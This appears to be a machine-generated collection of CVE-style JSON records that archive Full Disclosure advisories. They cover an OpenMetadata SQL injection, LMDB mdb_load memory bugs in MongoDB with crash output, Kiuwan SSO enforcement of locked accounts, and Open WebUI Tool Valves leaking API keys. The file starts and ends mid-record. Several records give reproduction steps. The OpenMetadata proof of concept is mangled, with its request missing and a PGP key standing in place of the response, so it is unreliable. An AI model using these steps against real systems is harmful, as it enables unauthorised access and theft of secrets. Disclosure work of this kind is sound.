          "url": "https://github.com/BerriAI/litellm/blob/47c24ef8ae1b6c77827491437b3e3ed143c1e77f/litellm/proxy/proxy_server.py#L11337-L11481"
        },
        {
          "url": "https://github.com/BerriAI/litellm/commit/57c05459ae9b4e607bfb35228ec13a3ee8586ce4"
        },
        {
          "url": "https://github.com/BerriAI/litellm/releases"
        },
        {
          "url": "https://nmap.org/mailman/listinfo/fulldisclosure"
        },
        {
          "url": "https://sec-consult.com/career/"
        },
        {
          "url": "https://sec-consult.com/contact/"
        },
        {
          "url": "https://sec-consult.com/vulnerability-lab/"
        },
        {
          "url": "https://seclists.org/fulldisclosure/"
        },
        {
          "url": "https://www.litellm.ai/"
        },
        {
          "url": "https://www.sec-consult.com"
        },
        {
          "url": "https://x.com/sec_consult"
        }
      ],
      "source": {
        "defect": [
          "https://seclists.org/fulldisclosure/2026/Apr/17"
        ],
        "discovery": "EXTERNAL"
      },
      "title": "SEC Consult SA-20260421-0 :: Broken Access Control in Config Endpoint in LiteLLM",
      "x_gcve": [
        {
          "recordType": "reference",
          "relationships": [
            {
              "destId": "CVE-2026-35029",
              "type": "related"
            }
          ],
          "vulnId": "GCVE-1988-2026-0260",
          "x_vulnarchive": {
            "archiveUrl": "https://vuln.freearchive.org/archive/full-disclosure/2026/Apr/17",
            "automated": true,
            "contentSha256": "10bfc79f159ddf4dbf5310a684b0792ad676dc96d03e36d0518d3e1686800479",
            "evidenceScore": 7,
            "messageId": "",
            "originalUrl": "https://seclists.org/fulldisclosure/2026/Apr/17",
            "policy": "vulnarchive-1",
            "sourceFormat": "text/html",
            "sourcePublishedAt": "2026-04-21T11:15:23Z"
          }
        },
        {
          "recordType": "advisory",
          "vulnId": "gcve-1988-2026-0260"
        }
      ]
    }
  },
  "cveMetadata": {
    "assignerOrgId": "4e2abfbf-4a2a-4b76-a4e0-d77c18ba156c",
    "assignerShortName": "VULNARCHIVE",
    "datePublished": "2026-09-08T08:13:42Z",
    "dateUpdated": "2026-09-11T07:38:43Z",
    "state": "PUBLISHED",
    "vulnId": "GCVE-1988-2026-0260"
  },
  "dataType": "CVE_RECORD",
  "dataVersion": "5.2"
}

{
  "containers": {
    "cna": {
      "affected": [
        {
          "product": "OpenMetadata",
          "vendor": "Openmetadata",
          "versions": [
            {
              "status": "affected",
              "version": "unknown"
            }
          ]
        }
      ],
      "credits": [
        {
          "lang": "en",
          "type": "finder",
          "value": "BUG"
        }
      ],
      "descriptions": [
        {
          "lang": "en",
          "value": "#### Title:OpenMetadata \u003c= 1.11.3 Authenticated SQL Injection\n#### Affected versions: \u003c= 1.11.3\n#### Credits: echo\n#### Vendor: https://open-metadata.org/\n\n\n\nPOC:\n\nrequest:\n\n\nHost: localhost\nCache-Control: max-age=0\nSec-CH-UA: \"Chromium\";v=\"141\", \"Not;A=Brand\";v=\"24\", \"Google Chrome\";v=\"141\"\nSec-CH-UA-Mobile: ?0\nSec-CH-UA-Platform: \"Windows\"\nAccept-Language: en-US;q=0.9,en;q=0.8\n\nAccept: application/json, text/plain, /\nSec-Fetch-Site: none\nSec-Fetch-Mode: navigate\nSec-Fetch-User: ?1\nSec-Fetch-Dest: document\nAccept-Encoding: gzip, deflate, br\nConnection: close\nAuthorization: Bearer [redacted]\nReferer [redacted]\n\nresponse:\n\nHTTP/1.1 500 Server Error\nContent-Type: application/json\nContent-Length: 562\nConnection: close\nDate: Thu, 23 Oct 2025 10:38:02 GMT\nStrict-Transport-Security: max-age=31536000; includeSubDomains\n\n\n\n-----BEGIN PGP PUBLIC KEY BLOCK-----\n\nxjMEYgzK+BYJKwYBBAHaRw8BAQdAuvqLumsJp8MYs+ccGRDNptLpiXET6kQ4EMSQ\nm0+K1kbNGEJVRyA8c2VjYnVnczNAZ21haWwuY29tPsKLBBMWCAAzFiEEVFMxXX78\nQbIacMz7MuWgzP7on3UFAmIMyvgCGwMFCwkIBwIGFQgJCgsCBRYCAwEAAAoJEDLl\noMz+6J91RUwBAKYGAZ6fDeCVFckLBYJtAOfapZOkqtxsyPkWH2nI4nOOAP40wwVT\nHhF+/KzlydxgZeWSFisfQiG4/gKee8TOfp7LDc44BGIMyvkSCisGAQQBl1UBBQEB\nB0Bao5PIrX/c+RguQIRDZ0FRnigzTdRS1970qRbrlxUIBAMBCAfCeAQYFggAIBYh\nBFRTMV1+/EGyGnDM+zLloMz+6J91BQJiDMr5AhsMAAoJEDLloMz+6J91OIkA/iS1\nKwXlgE28cwK3PyPvNe7Jv5E+HXb3lXVxMe63iKdsAP94dozMMgIPdTHXU8LXxkR/\nYPBCvA4bkQ9SA37Ak2UDDg==\n=6VCh\n-----END PGP PUBLIC KEY BLOCK-----\n\n_______________________________________________\nSent through the Full Disclosure mailing list\nhttps://nmap.org/mailman/listinfo/fulldisclosure\nWeb Archives \u0026 RSS: https://seclists.org/fulldisclosure/"
        }
      ],
      "providerMetadata": {
        "dateUpdated": "2026-09-11T07:24:27Z",
        "orgId": "4e2abfbf-4a2a-4b76-a4e0-d77c18ba156c",
        "shortName": "VULNARCHIVE"
      },
      "references": [
        {
          "tags": [
            "technical-description",
            "exploit"
          ],
          "url": "https://vuln.freearchive.org/archive/full-disclosure/2026/Jan/20"
        },
        {
          "tags": [
            "technical-description"
          ],
          "url": "https://seclists.org/fulldisclosure/2026/Jan/20"
        },
        {
          "url": "https://nmap.org/mailman/listinfo/fulldisclosure"
        },
        {
          "url": "https://open-metadata.org/"
        },
        {
          "url": "https://seclists.org/fulldisclosure/"
        }
      ],
      "source": {
        "defect": [
          "https://seclists.org/fulldisclosure/2026/Jan/20"
        ],
        "discovery": "EXTERNAL"
      },
      "title": "OpenMetadata \u003c= 1.11.3 Authenticated SQL Injection",
      "x_gcve": [
        {
          "recordType": "advisory",
          "relationships": [],
          "vulnId": "GCVE-1988-2026-0319",
          "x_vulnarchive": {
            "archiveUrl": "https://vuln.freearchive.org/archive/full-disclosure/2026/Jan/20",
            "automated": true,
            "contentSha256": "1cd8789426fb3cb8b9d179b185fe006866495ba563c32a6541ce8ac1f26137d8",
            "evidenceScore": 9,
            "messageId": "",
            "originalUrl": "https://seclists.org/fulldisclosure/2026/Jan/20",
            "policy": "vulnarchive-1",
            "sourceFormat": "text/html",
            "sourcePublishedAt": "2026-01-20T18:32:37Z"
          }
        }
      ]
    }
  },
  "cveMetadata": {
    "assignerOrgId": "4e2abfbf-4a2a-4b76-a4e0-d77c18ba156c",
    "assignerShortName": "VULNARCHIVE",
    "datePublished": "2026-09-11T07:24:27Z",
    "dateUpdated": "2026-09-11T07:24:27Z",
    "state": "PUBLISHED",
    "vulnId": "GCVE-1988-2026-0319"
  },
  "dataType": "CVE_RECORD",
  "dataVersion": "5.2"
}

{
  "containers": {
    "cna": {
      "affected": [
        {
          "product": "MongoDB",
          "vendor": "Mongodb",
          "versions": [
            {
              "status": "affected",
              "version": "unknown"
            }
          ]
        }
      ],
      "credits": [
        {
          "lang": "en",
          "type": "finder",
          "value": "Ron E"
        }
      ],
      "descriptions": [
        {
          "lang": "en",
          "value": "This integer underflow vulnerability enables heap metadata corruption and\ninformation disclosure through carefully crafted LMDB dump files.\n\n*Impact:*\n\n   - *Denial of Service*: Immediate crash (confirmed)\n   - *Information Disclosure*: Heap metadata leak via OOB read\n\nRoot Cause:The readline() function fails to validate that the input line\nlength is non-zero before performing decrement operations, causing integer\nunderflow. An attacker can craft a malicious LMDB dump file containing\nempty lines that trigger the vulnerability when processed by mdb_load:\n*Output:*\n\n./mdb_load -T /tmp/lmdb_asan \u003c\n/root/wiredtiger/third_party/openldap_liblmdb/findings/default/crashes/id:000007,sig:06,src:000012+000030,time:43032,execs:522id:000007,sig:06,src:000012+000030,time:43032,execs:52230,op:splice,rep:13\nmdb_load.c:214:9: runtime error: addition of unsigned offset to\n0x521000000100 overflowed to 0x5210000000ff\nSUMMARY: UndefinedBehaviorSanitizer: undefined-behavior mdb_load.c:214:9\n_______________________________________________\nSent through the Full Disclosure mailing list\nhttps://nmap.org/mailman/listinfo/fulldisclosure\nWeb Archives \u0026 RSS: https://seclists.org/fulldisclosure/"
        }
      ],
      "providerMetadata": {
        "dateUpdated": "2026-09-11T07:20:19Z",
        "orgId": "4e2abfbf-4a2a-4b76-a4e0-d77c18ba156c",
        "shortName": "VULNARCHIVE"
      },
      "references": [
        {
          "tags": [
            "technical-description"
          ],
          "url": "https://vuln.freearchive.org/archive/full-disclosure/2026/Jan/8"
        },
        {
          "tags": [
            "technical-description"
          ],
          "url": "https://seclists.org/fulldisclosure/2026/Jan/8"
        },
        {
          "url": "https://nmap.org/mailman/listinfo/fulldisclosure"
        },
        {
          "url": "https://seclists.org/fulldisclosure/"
        }
      ],
      "source": {
        "defect": [
          "https://seclists.org/fulldisclosure/2026/Jan/8"
        ],
        "discovery": "EXTERNAL"
      },
      "title": "MongoDB v8.3.0 Integer Underflow in LMDB mdb_load",
      "x_gcve": [
        {
          "recordType": "advisory",
          "relationships": [],
          "vulnId": "GCVE-1988-2026-0318",
          "x_vulnarchive": {
            "archiveUrl": "https://vuln.freearchive.org/archive/full-disclosure/2026/Jan/8",
            "automated": true,
            "contentSha256": "f6ee6532880b5db59db360c75f13190709bcbbdb9839409a725973fc38fef448",
            "evidenceScore": 7,
            "messageId": "",
            "originalUrl": "https://seclists.org/fulldisclosure/2026/Jan/8",
            "policy": "vulnarchive-1",
            "sourceFormat": "text/html",
            "sourcePublishedAt": "2026-01-01T04:17:45Z"
          }
        }
      ]
    }
  },
  "cveMetadata": {
    "assignerOrgId": "4e2abfbf-4a2a-4b76-a4e0-d77c18ba156c",
    "assignerShortName": "VULNARCHIVE",
    "datePublished": "2026-09-09T13:42:56Z",
    "dateUpdated": "2026-09-11T07:20:19Z",
    "state": "PUBLISHED",
    "vulnId": "GCVE-1988-2026-0318"
  },
  "dataType": "CVE_RECORD",
  "dataVersion": "5.2"
}

{
  "containers": {
    "cna": {
      "affected": [
        {
          "product": "MongoDB",
          "vendor": "Mongodb",
          "versions": [
            {
              "status": "affected",
              "version": "unknown"
            }
          ]
        }
      ],
      "credits": [
        {
          "lang": "en",
          "type": "finder",
          "value": "Ron E"
        }
      ],
      "descriptions": [
        {
          "lang": "en",
          "value": "A heap buffer underflow vulnerability exists in the readline() function of\nOpenLDAP\u0027s Lightning Memory-Mapped Database (LMDB) mdb_load utility. The\nvulnerability is triggered through malformed input data and results in an\nout-of-bounds read one byte before an allocated heap buffer. This can lead\nto information disclosure through heap memory leakage.\n\n*Root Cause:*\nThe vulnerability occurs in the readline() function at line 214 of\nmdb_load.c. The ASAN output reveals two critical issues:\n1. *Integer Underflow:* An unsigned offset addition to 0x521000000100\nresults in underflow to 0x5210000000ff, indicating a pointer decrement\noperation that wraps below the buffer start\n2. *Out-of-bounds Read: *The subsequent memory access reads 1 byte at\naddress 0x5210000000ff, which is located 1 byte before the 4096-byte heap\nregion [0x521000000100, 0x521000001100)\n\n*Impact:*\nThe vulnerability allows a local attacker to trigger a heap out-of-bounds\nread in mdb_load, resulting in reliable denial of service and limited\ninformation disclosure of adjacent heap memory. While no write primitive is\npresent, the disclosure may expose heap metadata and contribute to exploit\nmitigation bypass in multi-stage attacks.\n\n*Evidence:*\n# Execute with crash input\n./mdb_load -T /tmp/lmdb_asan \u003c [crash_input_file]\n\n*Output:*\nmdb_load.c:214:9: runtime error: addition of unsigned offset to\n0x521000000100 overflowed to 0x5210000000ff\nSUMMARY: UndefinedBehaviorSanitizer: undefined-behavior mdb_load.c:214:9\n=================================================================\n==1215390==ERROR: AddressSanitizer: heap-buffer-overflow on address\n0x5210000000ff at pc 0xaaaacb6f5bf4 bp 0xffffc2d17d30 sp 0xffffc2d17d28\nREAD of size 1 at 0x5210000000ff thread T0\n    #0 0xaaaacb6f5bf0 in readline\n/root/wiredtiger/third_party/openldap_liblmdb/mdb_load.c:214:9\n    #1 0xaaaacb6ed614 in main\n/root/wiredtiger/third_party/openldap_liblmdb/mdb_load.c:429:9\n    #2 0xffffb4662598 in __libc_start_call_main\ncsu/../sysdeps/nptl/libc_start_call_main.h:58:16\n    #3 0xffffb4662678 in __libc_start_main csu/../csu/libc-start.c:360:3\n    #4 0xaaaacb60adec in _start\n(/root/wiredtiger/third_party/openldap_liblmdb/mdb_load+0xcadec) (BuildId:\n54fcbfcdc4f5509b87b342e8f33cab2ab3e6d444)\n\n0x5210000000ff is located 1 bytes before 4096-byte region\n[0x521000000100,0x521000001100)\nallocated by thread T0 here:\n    #0 0xaaaacb6ad4e4 in malloc\n(/root/wiredtiger/third_party/openldap_liblmdb/mdb_load+0x16d4e4) (BuildId:\n54fcbfcdc4f5509b87b342e8f33cab2ab3e6d444)\n    #1 0xaaaacb6ed068 in main\n/root/wiredtiger/third_party/openldap_liblmdb/mdb_load.c:354:17\n    #2 0xffffb4662598 in __libc_start_call_main\ncsu/../sysdeps/nptl/libc_start_call_main.h:58:16\n    #3 0xffffb4662678 in __libc_start_main csu/../csu/libc-start.c:360:3\n    #4 0xaaaacb60adec in _start\n(/root/wiredtiger/third_party/openldap_liblmdb/mdb_load+0xcadec) (BuildId:\n54fcbfcdc4f5509b87b342e8f33cab2ab3e6d444)\n\nSUMMARY: AddressSanitizer: heap-buffer-overflow\n/root/wiredtiger/third_party/openldap_liblmdb/mdb_load.c:214:9 in readline\n_______________________________________________\nSent through the Full Disclosure mailing list\nhttps://nmap.org/mailman/listinfo/fulldisclosure\nWeb Archives \u0026 RSS: https://seclists.org/fulldisclosure/"
        }
      ],
      "providerMetadata": {
        "dateUpdated": "2026-09-11T07:20:12Z",
        "orgId": "4e2abfbf-4a2a-4b76-a4e0-d77c18ba156c",
        "shortName": "VULNARCHIVE"
      },
      "references": [
        {
          "tags": [
            "technical-description"
          ],
          "url": "https://vuln.freearchive.org/archive/full-disclosure/2026/Jan/5"
        },
        {
          "tags": [
            "technical-description"
          ],
          "url": "https://seclists.org/fulldisclosure/2026/Jan/5"
        },
        {
          "url": "https://nmap.org/mailman/listinfo/fulldisclosure"
        },
        {
          "url": "https://seclists.org/fulldisclosure/"
        }
      ],
      "source": {
        "defect": [
          "https://seclists.org/fulldisclosure/2026/Jan/5"
        ],
        "discovery": "EXTERNAL"
      },
      "title": "MongoDB v8.3.0 Heap Buffer Underflow in OpenLDAP LMDB mdb_load",
      "x_gcve": [
        {
          "recordType": "advisory",
          "relationships": [],
          "vulnId": "GCVE-1988-2025-0005",
          "x_vulnarchive": {
            "archiveUrl": "https://vuln.freearchive.org/archive/full-disclosure/2026/Jan/5",
            "automated": true,
            "contentSha256": "ed64e6da863b4b30592a5d0c84a0f90b3685238143542327775f7db463fe0466",
            "evidenceScore": 7,
            "messageId": "",
            "originalUrl": "https://seclists.org/fulldisclosure/2026/Jan/5",
            "policy": "vulnarchive-1",
            "sourceFormat": "text/html",
            "sourcePublishedAt": "2025-12-30T03:51:57Z"
          }
        }
      ]
    }
  },
  "cveMetadata": {
    "assignerOrgId": "4e2abfbf-4a2a-4b76-a4e0-d77c18ba156c",
    "assignerShortName": "VULNARCHIVE",
    "datePublished": "2026-09-09T13:42:56Z",
    "dateUpdated": "2026-09-11T07:20:12Z",
    "state": "PUBLISHED",
    "vulnId": "GCVE-1988-2025-0005"
  },
  "dataType": "CVE_RECORD",
  "dataVersion": "5.2"
}

{
  "containers": {
    "cna": {
      "affected": [
        {
          "product": "SEC Consult SA-20260414-0",
          "vendor": "Kiuwan",
          "versions": [
            {
              "status": "affected",
              "version": "unknown"
            }
          ]
        }
      ],
      "credits": [
        {
          "lang": "en",
          "type": "finder",
          "value": "SEC Consult Vulnerability Lab via Fulldisclosure"
        }
      ],
      "descriptions": [
        {
          "lang": "en",
          "value": "SEC Consult Vulnerability Lab Security Advisory \u003c 20260414-0 \u003e\n=======================================================================\n              title: Improper Enforcement of Locked Accounts in WebUI (SSO)\n\u00a0 \u00a0 \u00a0 \u00a0 \u00a0 \u00a0 product: Kiuwan SAST on-premise (KOP) \u0026 cloud/SaaS\n\u00a0vulnerable version: \u003c2.8.2509.4\n\u00a0 \u00a0 \u00a0 fixed version: 2.8.2509.4\n\u00a0 \u00a0 \u00a0 \u00a0 \u00a0CVE number: CVE-2026-24069\n\u00a0 \u00a0 \u00a0 \u00a0 \u00a0 \u00a0 \u00a0impact: medium\n           homepage:https://www.kiuwan.com/\n\u00a0 \u00a0 \u00a0 \u00a0 \u00a0 \u00a0 \u00a0 found: 2025-03-31\n                 by: Bernhard Gr\u00fcndling (Office Vienna)\n                     Fabian W\u00fcrfl (Office Vienna)\n                     Johannes Greil (Office Vienna)\n                     SEC Consult Vulnerability Lab\n\n                     An integrated part of SEC Consult, an Atos business\n                     Europe | Asia\n\n                     https://www.sec-consult.com\n\n=======================================================================\n\nVendor description:\n-------------------\n\"Thorough code inspection is essential for designing secure software products.\nWhile your development team may not have time to comb through every line of code,\nKiuwan does. For 20 years, it has been the choice of developers to scan code\nautomatically and remediate defects according to security standards like OWASP,\nCWE, SANS, and CERT.\n\nStatic application security testing (SAST) scans for security flaws in the source\ncode without running the program. It is a white-box testing method that is the\ncounterpart to dynamic application software testing (DAST), which tests web applications\nfor run-time vulnerabilities. [...]\"\n\nSource:https://www.kiuwan.com/code-security-sast/\n\n\nBusiness recommendation:\n------------------------\nThe vendor provides a patch which should be installed immediately.\n\nSEC Consult highly recommends to perform a thorough security review of the product\nconducted by security professionals to identify and resolve potential further\nsecurity issues.\n\n\nVulnerability overview/description:\n-----------------------------------\n1) Improper Enforcement of Locked Accounts in WebUI (SSO) (CVE-2026-24069)\nKiuwan offers the possibility to enable single sign-on (SSO) for authentication,\ne.g. through Microsoft ADFS or Azure to authenticate against an active directory.\nIt needs to map the AD user accounts with locally configured accounts for\nauthorization purposes, e.g. to configure the roles and access to applications.\nSSO users have the local logon disabled and there is no password set, authentication\nonly works via SSO then.\n\nIt was found out that the user is still able to login at the Kiuwan WebUI via SSO,\neven if the Kiuwan mapped account has been disabled in the user settings by an admin.\nThe login does not work in the scanner agent (KLA - Kiuwan Local Analyzer) though.\nThere the authorization check seems to be verifying the validity of the account first\nand throws the error message \"Failed to authenticate using Single sign-on\".\n\n\nProof of concept:\n-----------------\n1) Improper Enforcement of Locked Accounts in WebUI (SSO) (CVE-2026-24069)\nNo specific PoC is necessary. An SSO login is possible even after disabling\nthe Kiuwan mapped user account in the Kiuwan user admin settings.\nSteps to reproduce:\na) Disable user in Kiuwan user settings\nb) Authenticate via SSO, e.g. through Microsoft ADFS\nc) Login is possible in the Kiuwan WebUI\n\n\nVulnerable / tested versions:\n-----------------------------\nThe following version has been tested which was the latest version available\nat the time of the test:\n* 2.8.2412.0\n\n\nVendor contact timeline:\n------------------------\n2025-04-02: Contacting vendor through official Kiuwan ticket system\n            (https://kiuwan.zendesk.com)\n            Kiuwan support responds that they will take a look into\n            our submission. Support sends us a few details regarding\n            SSO authentication.\n2025-04-03: Informing the vendor that we know how SSO auth in Kiuwan\n            works and our vulnerability exploits the improper enforcement\n            of locked accounts.\n2025-04-15: Vendor informs us that the issue has been escalated to R\u0026D.\n2025-07-29: Vendor has resolved the issue in the latest Kiuwan Cloud release.\n2025-07-29: Asking the vendor regarding the fix for Kiuwan On-Premise.\n            Vendor responds that it is currently being tested for KOP and\n            they will inform us.\n2025-11-03: Asking for a status update as we were not informed yet.\n2025-11-10: Support team responds that KOP release is expected within the\n            next couple of weeks.\n2025-11-24: Issue has been resolved in the latest KOP release.\n2025-11-28: Informing vendor that we cannot upgrade/verify the KOP release yet,\n            scheduled for 2026.\n2026-04-14: Public release of advisory.\n\n\nSolution:\n---------\nThe security issue has been fixed by the vendor on 29th July 2025 for the\nKiuwan Cloud solution.\n\nThe vendor provides a patch for the Kiuwan On-Premises version 2.8.2509.4\nwhich can be downloaded from the vendor\u0027s installation page:\nhttps://support.kiuwan.com/hc/en-us/articles/36356787260433-Kiuwan-On-Premises-Distributed-Installation-Guide\n\n\nWorkaround:\n-----------\nNone\n\n\nAdvisory URL:\n-------------\nhttps://sec-consult.com/vulnerability-lab/\n\n\n~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~\n\nSEC Consult Vulnerability Lab\nAn integrated part of SEC Consult, an Atos business\nEurope | Asia\n\nAbout SEC Consult Vulnerability Lab\nThe SEC Consult Vulnerability Lab is an integrated part of SEC Consult, an\nAtos business. It ensures the continued knowledge gain of SEC Consult in the\nfield of network and application security to stay ahead of the attacker. The\nSEC Consult Vulnerability Lab supports high-quality penetration testing and\nthe evaluation of new offensive and defensive technologies for our customers.\nHence our customers obtain the most current information about vulnerabilities\nand valid recommendation about the risk profile of new technologies.\n\n~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~\nInterested to work with the experts of SEC Consult?\nSend us your applicationhttps://sec-consult.com/career/\n\nInterested in improving your cyber security with the experts of SEC Consult?\nContact our local officeshttps://sec-consult.com/contact/\n~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~\n\nMail: security-research at sec-consult dot com\nWeb:https://www.sec-consult.com\nBlog:https://blog.sec-consult.com\nX:https://x.com/sec_consult\n\nEOF Bernhard Gr\u00fcndling, Johannes Greil, Fabian W\u00fcrfl / @2026\n\n_______________________________________________\nSent through the Full Disclosure mailing list\nhttps://nmap.org/mailman/listinfo/fulldisclosure\nWeb Archives \u0026 RSS: https://seclists.org/fulldisclosure/"
        }
      ],
      "providerMetadata": {
        "dateUpdated": "2026-09-09T13:49:25Z",
        "orgId": "4e2abfbf-4a2a-4b76-a4e0-d77c18ba156c",
        "shortName": "VULNARCHIVE"
      },
      "references": [
        {
          "tags": [
            "technical-description",
            "exploit"
          ],
          "url": "https://vuln.freearchive.org/archive/full-disclosure/2026/Apr/5"
        },
        {
          "tags": [
            "technical-description"
          ],
          "url": "https://seclists.org/fulldisclosure/2026/Apr/5"
        },
        {
          "url": "https://blog.sec-consult.com"
        },
        {
          "url": "https://kiuwan.zendesk.com"
        },
        {
          "url": "https://nmap.org/mailman/listinfo/fulldisclosure"
        },
        {
          "url": "https://sec-consult.com/career/"
        },
        {
          "url": "https://sec-consult.com/contact/"
        },
        {
          "url": "https://sec-consult.com/vulnerability-lab/"
        },
        {
          "url": "https://seclists.org/fulldisclosure/"
        },
        {
          "url": "https://support.kiuwan.com/hc/en-us/articles/36356787260433-Kiuwan-On-Premises-Distributed-Installation-Guide"
        },
        {
          "url": "https://www.kiuwan.com/"
        },
        {
          "url": "https://www.kiuwan.com/code-security-sast/"
        },
        {
          "url": "https://www.sec-consult.com"
        },
        {
          "url": "https://x.com/sec_consult"
        }
      ],
      "source": {
        "defect": [
          "https://seclists.org/fulldisclosure/2026/Apr/5"
        ],
        "discovery": "EXTERNAL"
      },
      "title": "SEC Consult SA-20260414-0 :: Improper Enforcement of Locked Accounts in WebUI (SSO) in Kiuwan SAST on-premise (KOP) \u0026 cloud/SaaS",
      "x_gcve": [
        {
          "recordType": "analysis",
          "relationships": [
            {
              "destId": "CVE-2026-24069",
              "type": "related"
            }
          ],
          "vulnId": "GCVE-1988-2026-0254",
          "x_vulnarchive": {
            "archiveUrl": "https://vuln.freearchive.org/archive/full-disclosure/2026/Apr/5",
            "automated": true,
            "contentSha256": "5bf6b21d2b94d49aa57521ba89c0abb15924a55d944633bb6283d7b3ce30451d",
            "evidenceScore": 9,
            "messageId": "",
            "originalUrl": "https://seclists.org/fulldisclosure/2026/Apr/5",
            "policy": "vulnarchive-1",
            "sourceFormat": "text/html",
            "sourcePublishedAt": "2026-04-14T10:31:18Z"
          }
        },
        {
          "recordType": "advisory",
          "vulnId": "gcve-1988-2026-0254"
        }
      ]
    }
  },
  "cveMetadata": {
    "assignerOrgId": "4e2abfbf-4a2a-4b76-a4e0-d77c18ba156c",
    "assignerShortName": "VULNARCHIVE",
    "datePublished": "2026-09-08T08:13:42Z",
    "dateUpdated": "2026-09-09T13:49:25Z",
    "state": "PUBLISHED",
    "vulnId": "GCVE-1988-2026-0254"
  },
  "dataType": "CVE_RECORD",
  "dataVersion": "5.2"
}

{
  "containers": {
    "cna": {
      "affected": [
        {
          "product": "SEC Consult SA-20260401-0",
          "vendor": "open-webui",
          "versions": [
            {
              "status": "affected",
              "version": "unknown"
            }
          ]
        }
      ],
      "credits": [
        {
          "lang": "en",
          "type": "finder",
          "value": "SEC Consult Vulnerability Lab via Fulldisclosure"
        }
      ],
      "descriptions": [
        {
          "lang": "en",
          "value": "SEC Consult Vulnerability Lab Security Advisory \u003c 20260401-0 \u003e\n=======================================================================\n              title: Broken Access Control\n\u00a0 \u00a0 \u00a0 \u00a0 \u00a0 \u00a0 product: Open WebUI\n\u00a0vulnerable version: \u003cv0.8.11\n\u00a0 \u00a0 \u00a0 fixed version: v0.8.11\n         CVE number: CVE-2026-34222\n\u00a0 \u00a0 \u00a0 \u00a0 \u00a0 \u00a0 \u00a0impact: high\n           homepage:https://openwebui.com\n\u00a0 \u00a0 \u00a0 \u00a0 \u00a0 \u00a0 \u00a0 found: 2026-02-06\n                 by: Timo M\u00fcller (Office Munich)\n                     SEC Consult Vulnerability Lab\n\n                     An integrated part of SEC Consult, an Atos business\n                     Europe | Asia\n\n                     https://www.sec-consult.com\n\n=======================================================================\n\nVendor description:\n-------------------\n\"The self-hosted AI interface.\nOpen WebUI is the platform for running AI on your own terms.\nConnect to any model\u2014local or cloud. Extend with Python.\nShare what you build with 331K others. 270 million downloads and growing.\"\n\nSource:https://openwebui.com/\n\n\nBusiness recommendation:\n------------------------\nThe vendor provides a patch which should be installed immediately.\n\nSEC Consult highly recommends to perform a thorough security review of the product\nconducted by security professionals to identify and resolve potential further\nsecurity issues.\n\n\nVulnerability overview/description:\n-----------------------------------\n1) Broken Access Control in Tool Valves (CVE-2026-34222)\nOpen WebUI supports function calling through \"Tools\". Function calling allows\nan LLM to reliably connect to external tools and interact with external APIs.\nExemplary use-cases include connecting to an internal knowledge base,\nretrieving emails from an exchange server, or retrieving order data from a\nshop backend.\n\nThese interactions often require the LLM to authenticate against backend\nservices using API keys specifically created for a technical (Open WebUI)\nuser.\n\nTo simplify configuration and secret handling, Open WebUI implements\n\"Valves\" and \"UserValves\" that allow users and administrators to input\ndynamic details like API keys or configuration options.\n\nValves have the following distinction:\n* Valves: Configurable by admins only.\n* UserValves: Configurable by any user.\n\nThe Tool Valves endpoint does not properly restrict read access to the\nvalve. This allows a low privileged user to access all data contained\nwithin the valve. In the worst case, this gives a low privileged\n\"Member\" user access to sensitive Tool data, such as API keys for\nthird-party systems.\n\n\nProof of concept:\n-----------------\n1) Broken Access Control in Tool Valves (CVE-2026-34222)\nThe following steps can be performed to reproduce the vulnerability.\n\n1. An administrator creates an Open WebUI Tool with a configured Valve.\n   \u003c10_create_tool.png\u003e\n2. The administrator configures the API key within the Tool Valve.\n   \u003c20_valves.png\u003e\n3. A user with at least \"Member\" privileges logs into Open WebUI.\n\nThe following screenshot shows the user overview of the test instance:\n\u003c30_user_admin.png\u003e\n\nThe following screenshot illustrates that the \"lowpriv\" user\ndoesn\u0027t have access to the tool:\n\u003c35_lowpriv.png\u003e\n\n4. The \"lowpriv\" user uses their Authorization token to retrieve the\nAPI key from the Tool Valve.\n\nIn order to do so, the attacker needs to know the Tool ID. However, as\nthis ID is always the same for imported tools, and the tool IDs are\nconcatenated from the tool name, guessing tool IDs is trivial.\n\u003c50_get_valve.png\u003e\n\n\nAs seen in the following code snippet, the vulnerability is present because\nthe Tool Valves route does not check if the requesting user\nhas administrative permissions.\n\nCode \nsource:https://github.com/open-webui/open-webui/blob/2b26355002064228e9b671339f8f3fb9d1fafa73/backend/open_webui/routers/tools.py#L513-L531\n\n```\n@router.get(\"/id/{id}/valves\", response_model=Optional[dict])\nasync def get_tools_valves_by_id(\n    id: str, user=Depends(get_verified_user), db: Session = Depends(get_session)\n):\n    tools = Tools.get_tool_by_id(id, db=db)\n    if tools:\n        try:\n            valves = Tools.get_tool_valves_by_id(id, db=db)\n            return valves\n[...]\n)\n```\n\nVulnerable / tested versions:\n-----------------------------\nThe following version has been tested which was the latest version available\nat the time of the test:\n* v0.7.2\n\nAll versions below the fixed version v0.8.11 are affected.\n\nVendor contact timeline:\n------------------------\n2026-02-11: Contacting vendor through the Open WebUI GitHub security\n            advisories page (github.com/open-webui/open-webui/security/advisories/GHSA-7429-hxcv-268m)\n2026-02-11: GitHub security advisory was closed by the maintainer with the\n            reasoning \"Tools perm should NOT be given to an untrusted party.\"\n2026-02-11: Closure of the advisory was contested by submitting additional proof\n2026-02-18: Additional reminder to the vendor that we will disclose this issue.\n2026-03-18: Additional reminder to the vendor that we will disclose this issue.\n2026-03-24: Vendor re-evaluates the submitted advisory, requests additional details,\n            and requests a validation of this issue on the development branch.\n2026-03-24: Provided the additional details and confirmed that the issue is patched\n            on the development branch.\n2026-03-24: Vendor re-opens and confirms the submitted  advisory.\n2026-03-27: Vendor confirms the CVSS score and requests a CVE through GitHub.\n2026-03-27: GitHub has issued CVE-2026-34222 for this vulnerability.\n2026-04-01: Vendor advisory published, SEC Consult release of advisory as well.\n\n\nSolution:\n---------\nThe vendor provides a patched version v0.8.11 which can be downloaded from their website:\nhttps://github.com/open-webui/open-webui/releases\n\nFix commit:https://github.com/open-webui/open-webui/commit/f949d17db1e62e0b79aecbbcbcabe3d57d8d4af6\n\nThe vendor has also published the security report / advisory here:\nhttps://github.com/open-webui/open-webui/security/advisories/GHSA-7429-hxcv-268m\n\n\nWorkaround:\n-----------\nNone\n\n\nAdvisory 